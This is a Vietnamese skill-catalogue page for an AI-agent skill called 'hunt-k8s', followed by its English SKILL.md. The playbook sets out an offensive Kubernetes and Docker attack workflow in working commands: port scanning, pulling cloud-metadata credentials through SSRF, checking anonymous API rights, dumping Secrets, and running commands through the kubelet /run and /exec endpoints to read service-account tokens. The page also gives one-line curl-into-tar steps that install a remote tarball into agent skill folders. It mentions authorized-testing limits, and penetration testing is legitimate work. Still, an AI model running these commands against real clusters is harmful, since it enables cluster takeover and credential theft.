hunt-k8s – skill DevOps & Hạ tầng cho agent AI
Săn lỗ hổng Kubernetes & Docker — truy cập ẩn danh qua API, exec kubelet 10250 (SPDY/WebSocket, KHÔNG phải POST thường) và nguyên thủy /run đơn giản hơn, etcd 2379 không xác thực, dashboard bỏ qua đăng nhập, cấu hình sai RBAC, lạm dụng secret/SA-token, thoát khỏi host qua docker.sock, runc/container-escape (Leaky Vessels CVE-2024-21626), nodes/pro
Cài skill hunt-k8s bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-146ef.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-k8s – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-146ef.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-k8s – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-146ef.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-k8s – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-146ef.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-k8s – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-K8S — Kubernetes & Docker Security
Crown Jewel Targets
K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.
Highest-value findings:
- K8s API anonymous cluster-admin —
system:anonymous/system:unauthenticatedbound to a powerful role (classic misconfig:system:anonymousin aClusterRoleBindingtocluster-admin) → fullkubectl. Mere anonymous200is NOT this (see false-positive section). - Kubelet
10250exec/run —/runreturns command output directly;/execis a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token. - API-server-mediated kubelet RCE —
/api/v1/nodes/<node>/proxy/run/...reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grantsnodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector. - etcd
2379unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unlessEncryptionConfigurationis set) → full credential dump. - docker.sock exposure — SSRF/LFI/RCE reaching
/var/run/docker.sock→ create--privilegedcontainer, bind-mount host/→ host root. - Container escape via runc — Leaky Vessels (CVE-2024-21626):
WORKDIR/process.cwdpointing at a leaked/proc/self/fd/<n>host FD → break out of an attacker-controlled image/exec to host root. - SA token abuse — auto-mounted token at
/var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact. - K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.
---
OOB / Confirmation Gate (Read First)
K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.
- A
200on/api/v1/namespacesdoes not mean cluster-admin. The API server returns200with an RBAC-filtered (often emptyitems: []) list to *any* principal that can reachlist namespaces— anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value. - 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has
/pods,/stats,/metrics, NO exec/run. 10250 (HTTPS) is where/runand/execlive. Do not report "kubelet RCE" off a 10255 hit. - Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g.
curl http://<token>.<collab>from inside the pod via/run). A delayed response or an echoed URL is NOT proof. - Impact proof = the artifact. For exec: the literal
id/hostnameoutput. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostnameof the node, distinct from the container's). - Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only
idin a pod you spun up if policy allows, or limit to a single non-destructiveidand stop.
---
Phase 1 — Fingerprint & Port Discovery
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl --max-time 30 --connect-timeout 10 -s -X PUT "http://[REDACTED_IP]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl --max-time 30 --connect-timeout 10 -s -H "X-aws-ec2-metadata-token: $TOK" "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl --max-time 30 --connect-timeout 10 -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKENote the gitVersion — it gates every CVE below.
---
Phase 2 — Kubernetes API Anonymous / Low-Priv Access
SRV="https://$TARGET:6443"
# 1. What am I? (anonymous → "system:anonymous")
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
# 2. What can I actually DO? (the only honest privilege check)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done
# 4. Only if access review says allowed — read a real Secret to prove impact
curl --max-time 30 --connect-timeout 10 -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -dCVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.
---
Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right
The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/<token>) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.
SRV="https://$TARGET:10250"
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
# kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
# kubeletctl --server $TARGET scan rce # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
# read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
# curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location
# websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"
# Container logs (read-only, no stream)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/containerLogs/$NS/$POD/$CTR"
# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/metrics" | headCVE-2020-8558 (host-network trust): on affected kube-proxy, services bound
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- aws-agentic-ai – Chuyên gia toàn diện về AWS Bedrock AgentCore để triển khai và quản lý AI agent ở quy mô…
- grafana-dashboards – Tạo và quản lý dashboard Grafana production để trực quan hóa theo thời gian thực các…
- cloud-security – Dùng khi đánh giá hạ tầng cloud về cấu hình sai bảo mật, đường leo thang đặc quyền IAM…
- cmmc-readiness – Dùng khi nhà thầu hoặc nhà thầu phụ quốc phòng chuẩn bị cho đợt tự đánh giá CMMC 2.0…
- cmmc-readiness – Dùng khi nhà thầu hoặc nhà thầu phụ quốc phòng chuẩn bị cho đợt tự đánh giá CMMC 2.0…
- aws-cdk-development – Chuyên gia AWS Cloud Development Kit (CDK) xây dựng hạ tầng cloud bằng TypeScript/Python.
- aws-cloudtrail – Cấu hình AWS CloudTrail để ghi nhật ký kiểm toán. Thiết lập organization trail và phân…
- aws-compliance-checker – Kiểm tra tuân thủ tự động theo chuẩn CIS, PCI-DSS, HIPAA và SOC 2